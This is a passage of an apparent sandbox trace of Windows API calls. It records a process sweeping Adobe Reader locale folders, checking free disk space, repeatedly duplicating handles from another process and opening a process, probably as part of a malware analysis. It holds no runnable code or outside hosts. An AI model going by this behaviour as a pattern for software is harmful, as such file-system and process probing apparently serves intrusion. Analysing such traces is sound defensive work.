dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0146.269] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.270] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.272] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0146.272] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0146.272] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0146.274] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0146.275] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.275] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.279] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0146.279] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0146.279] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b42270, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1b42270, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0146.281] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.282] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.282] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b42270, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b42270, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.287] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0146.287] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b42270, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1b42270, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0146.290] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0146.290] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.290] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b42270, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b42270, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.292] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0146.293] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0146.293] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b42270, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1b42270, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0147.873] GetDiskFreeSpaceExW (in: lpDirectoryName="C:", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0147.876] GetDiskFreeSpaceExW (in: lpDirectoryName="C:", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0147.884] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0147.885] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0148.464] TerminateThread (hThread=0x65, dwExitCode=0x0) returned 0 [0148.464] NtClose (Handle=0x65) returned 0x0 [0148.465] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.465] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.465] NtClose (Handle=0x1b0) returned 0x0 [0148.465] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x10, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.465] ResetEvent (hEvent=0xe8) returned 1 [0148.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xc21489, lpParameter=0x3bfba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64 [0148.466] ResetEvent (hEvent=0xec) returned 1 [0148.466] SetEvent (hEvent=0xe8) returned 1 [0148.466] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.469] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.469] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.469] NtClose (Handle=0x1b0) returned 0x0 [0148.469] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x14, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.469] ResetEvent (hEvent=0xec) returned 1 [0148.469] SetEvent (hEvent=0xe8) returned 1 [0148.469] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.470] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.470] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.470] NtClose (Handle=0x1b0) returned 0x0 [0148.470] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x18, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.470] ResetEvent (hEvent=0xec) returned 1 [0148.470] SetEvent (hEvent=0xe8) returned 1 [0148.470] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.470] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.470] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.470] NtClose (Handle=0x1b0) returned 0x0 [0148.471] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x1c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.471] ResetEvent (hEvent=0xec) returned 1 [0148.471] SetEvent (hEvent=0xe8) returned 1 [0148.471] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.471] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.471] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.471] NtClose (Handle=0x1b0) returned 0x0 [0148.471] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x20, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.471] ResetEvent (hEvent=0xec) returned 1 [0148.471] SetEvent (hEvent=0xe8) returned 1 [0148.471] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.472] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.472] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.472] NtClose (Handle=0x1b0) returned 0x0 [0148.472] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x24, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.472] ResetEvent (hEvent=0xec) returned 1 [0148.472] SetEvent (hEvent=0xe8) returned 1 [0148.472] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.472] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.472] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.472] NtClose (Handle=0x1b0) returned 0x0 [0148.473] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x28, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.473] ResetEvent (hEvent=0xec) returned 1 [0148.473] SetEvent (hEvent=0xe8) returned 1 [0148.473] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.473] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.473] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.473] NtClose (Handle=0x1b0) returned 0x0 [0148.473] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x2c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.473] ResetEvent (hEvent=0xec) returned 1 [0148.473] SetEvent (hEvent=0xe8) returned 1 [0148.473] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.474] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.474] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.474] NtClose (Handle=0x1b0) returned 0x0 [0148.474] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x30, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.474] ResetEvent (hEvent=0xec) returned 1 [0148.474] SetEvent (hEvent=0xe8) returned 1 [0148.474] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.474] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.474] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.474] NtClose (Handle=0x1b0) returned 0x0 [0148.474] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x34, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.474] ResetEvent (hEvent=0xec) returned 1 [0148.474] SetEvent (hEvent=0xe8) returned 1 [0148.474] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.475] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.475] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.475] NtClose (Handle=0x1b0) returned 0x0 [0148.475] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x38, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.475] ResetEvent (hEvent=0xec) returned 1 [0148.475] SetEvent (hEvent=0xe8) returned 1 [0148.475] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.475] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.475] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.475] NtClose (Handle=0x1b0) returned 0x0 [0148.475] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x3c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.475] ResetEvent (hEvent=0xec) returned 1 [0148.475] SetEvent (hEvent=0xe8) returned 1 [0148.475] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.476] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.476] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.476] NtClose (Handle=0x1b0) returned 0x0 [0148.476] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x40, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.476] ResetEvent (hEvent=0xec) returned 1 [0148.476] SetEvent (hEvent=0xe8) returned 1 [0148.476] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.477] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.477] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.477] NtClose (Handle=0x1b0) returned 0x0 [0148.477] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x44, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.477] ResetEvent (hEvent=0xec) returned 1 [0148.477] SetEvent (hEvent=0xe8) returned 1 [0148.477] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.477] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.477] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.478] NtClose (Handle=0x1b0) returned 0x0 [0148.478] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x48, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.478] ResetEvent (hEvent=0xec) returned 1 [0148.478] SetEvent (hEvent=0xe8) returned 1 [0148.478] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.478] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.478] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.478] NtClose (Handle=0x1b0) returned 0x0 [0148.478] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x4c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.478] ResetEvent (hEvent=0xec) returned 1 [0148.478] SetEvent (hEvent=0xe8) returned 1 [0148.478] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.479] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.479] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.479] NtClose (Handle=0x1b0) returned 0x0 [0148.479] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x50, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.479] ResetEvent (hEvent=0xec) returned 1 [0148.479] SetEvent (hEvent=0xe8) returned 1 [0148.479] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.479] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.479] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.479] NtClose (Handle=0x1b0) returned 0x0 [0148.479] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x54, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.479] ResetEvent (hEvent=0xec) returned 1 [0148.479] SetEvent (hEvent=0xe8) returned 1 [0148.479] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.480] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.480] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.480] NtClose (Handle=0x1b0) returned 0x0 [0148.480] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x58, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.480] ResetEvent (hEvent=0xec) returned 1 [0148.480] SetEvent (hEvent=0xe8) returned 1 [0148.480] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.480] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.480] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.480] NtClose (Handle=0x1b0) returned 0x0 [0148.480] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x5c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.480] ResetEvent (hEvent=0xec) returned 1 [0148.480] SetEvent (hEvent=0xe8) returned 1 [0148.481] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.481] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.481] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.481] NtClose (Handle=0x1b0) returned 0x0 [0148.481] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x60, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.481] ResetEvent (hEvent=0xec) returned 1 [0148.481] SetEvent (hEvent=0xe8) returned 1 [0148.481] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.481] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.481] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.481] NtClose (Handle=0x1b0) returned 0x0 [0148.481] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x64, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.482] ResetEvent (hEvent=0xec) returned 1 [0148.482] SetEvent (hEvent=0xe8) returned 1 [0148.482] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.482] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.482] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.482] NtClose (Handle=0x1b0) returned 0x0 [0148.482] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x68, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.482] ResetEvent (hEvent=0xec) returned 1 [0148.482] SetEvent (hEvent=0xe8) returned 1 [0148.482] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.482] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.483] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.483] NtClose (Handle=0x1b0) returned 0x0 [0148.483] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x6c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.483] ResetEvent (hEvent=0xec) returned 1 [0148.483] SetEvent (hEvent=0xe8) returned 1 [0148.483] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.483] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.483] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.483] NtClose (Handle=0x1b0) returned 0x0 [0148.483] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x70, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.483] ResetEvent (hEvent=0xec) returned 1 [0148.483] SetEvent (hEvent=0xe8) returned 1 [0148.483] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.484] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.484] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.484] NtClose (Handle=0x1b0) returned 0x0 [0148.484] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x74, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x1b0) returned 0x0 [0148.484] ResetEvent (hEvent=0xec) returned 1 [0148.484] SetEvent (hEvent=0xe8) returned 1 [0148.484] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.484] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.484] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0148.484] NtClose (Handle=0x1b0) returned 0x0 [0148.484] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x982aa8 [0148.484] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0148.484] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988c20 [0148.484] NtOpenProcess (in: ProcessHandle=0x1a7fa14, DesiredAccess=0xc48, ObjectAttributes=0x1a7fa20*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), 